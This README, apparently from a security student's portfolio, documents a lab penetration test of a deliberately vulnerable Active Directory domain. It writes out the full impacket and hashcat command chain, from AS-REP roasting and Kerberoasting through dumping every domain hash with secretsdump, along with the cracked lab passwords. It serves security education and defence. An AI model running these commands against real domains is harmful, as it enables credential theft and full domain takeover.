Project — Broken Trust

Active Directory Penetration Test

---

Overview

Black-box Active Directory penetration test against a deliberately vulnerable Windows Server 2019 domain (corp.local) in an isolated lab. Starting with no domain credentials, the assessment progressed through AD enumeration, Kerberos-based attacks, and credential dumping to achieve full Domain Admin compromise — without exploiting any software vulnerability.

---

Repo Structure

broken-trust/
├── README.md
├── report/
│   └── BrokenTrust_Report.md
├── writeups/
│   ├── 01_ad_recon_writeup.md
│   ├── 02_ldap_enumeration_writeup.md
│   ├── 03_asrep_roasting_writeup.md
│   ├── 04_kerberoasting_writeup.md
│   └── 05_domain_compromise_writeup.md
└── lab-setup/
    └── vulnad_setup_guide.md

---

Lab Environment

Component	Details
Domain	corp.local — Windows Server 2019
Domain Controller	dc01.corp.local — 192.168.56.10
Workstation	ws01.corp.local — 192.168.56.20
Attacker	Kali Linux 2022.4 — 192.168.56.102
Network	VirtualBox Host-Only (fully isolated)

---

Tools Used

Tool	Version	Phase
Nmap	7.93	Recon
enum4linux	0.9.1	Enumeration
ldapsearch	2.5	Enumeration
Impacket GetNPUsers	0.10.0	AS-REP Roasting
Impacket GetUserSPNs	0.10.0	Kerberoasting
Hashcat	6.2.6	Hash Cracking
Impacket secretsdump	0.10.0	Credential Dump
BloodHound + Python	1.6.0	Attack Path Analysis
CrackMapExec	5.4	Validation

---

Findings Summary

ID	Finding	Severity	CVSS
F-01	AS-REP Roasting — sarah.jones	Critical	9.1
F-02	Kerberoasting — svc_backup (Domain Admin)	Critical	9.8
F-03	Full Domain Hash Dump via secretsdump	Critical	10.0
F-04	BloodHound Unintended Privilege Path	High	8.1
F-05	Weak Password Policy — No Lockout	High	7.5
F-06	LDAP Null Bind — Anonymous Enumeration	Medium	5.3
F-07	Kerberos Pre-Auth Disabled on Account	High	8.0

Overall Risk: CRITICAL

---

Attack Chain

Recon          Nmap — DC at 192.168.56.10 confirmed (ports 88, 389, 445)
     |
Enumeration    enum4linux — no lockout, min 7 char passwords, user list
     |
LDAP           ldapsearch — SPNs on svc_backup + svc_sql, pre-auth off on sarah.jones
     |
AS-REP Roast   GetNPUsers — sarah.jones hash captured — cracked: Summer2022!
     |
Kerberoast     GetUserSPNs (as sarah.jones) — svc_backup hash — cracked: Backup2023!
     |
Escalation     svc_backup = Domain Admin — full domain access
     |
Hash Dump      secretsdump — all NTLM hashes + krbtgt captured
     |
Result         Complete domain compromise — Golden Ticket possible

---

Writeup Highlights

Phase 1 — AD Recon

nmap -sV -sC -p 53,88,135,139,389,445,464,636,3268,3389 192.168.56.10
enum4linux -a 192.168.56.10 | tee enum4linux_ad.txt

Phase 2 — LDAP & SPN Discovery

ldapsearch -x -H ldap://192.168.56.10 -D '' -w '' \
  -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName servicePrincipalName

AS-REP Roasting

impacket-GetNPUsers corp.local/ -usersfile users.txt \
  -no-pass -dc-ip 192.168.56.10 -format hashcat
# Captured: $krb5asrep$23$sarah.jones@CORP.LOCAL:...
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# Cracked: sarah.jones:Summer2022!

Kerberoasting

impacket-GetUserSPNs corp.local/sarah.jones:Summer2022! \
  -dc-ip 192.168.56.10 -request -outputfile kerberoast_hashes.txt
# Captured: $krb5tgs$23$*svc_backup$CORP.LOCAL$...
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_backup:Backup2023!

Domain Hash Dump

impacket-secretsdump corp.local/svc_backup:Backup2023!@192.168.56.10
# All NTLM hashes dumped including krbtgt

BloodHound

bloodhound-python -u john.smith -p Password123 \
  -d corp.local -ns 192.168.56.10 -c All
# Import JSON files into BloodHound — attack path visualised

---

Key Takeaways

• Service accounts should never be Domain Admins — this is the single biggest mistake in this domain
• Kerberoasting is undetectable by default — TGS requests are legitimate AD operations
• krbtgt compromise means permanent access — Golden Tickets survive password resets
• BloodHound finds privilege paths humans miss — nested groups and ACL misconfigurations
• Minimum 25-character random passwords on service accounts make Kerberoasting infeasible

---

Ethics and Legal Disclaimer

All activities in this project were performed exclusively in an isolated local lab environment using VulnAD (deliberately vulnerable Active Directory lab) — software designed for security education. No real systems, networks, or user data were involved at any stage.

This repository contains writeups, methodology documentation, and findings reports only. Working exploit scripts, attack payloads, weaponised tools, and automation code produced during this project are intentionally not published here for ethical and legal reasons.

---

@kayShahbaaz (kayn0x)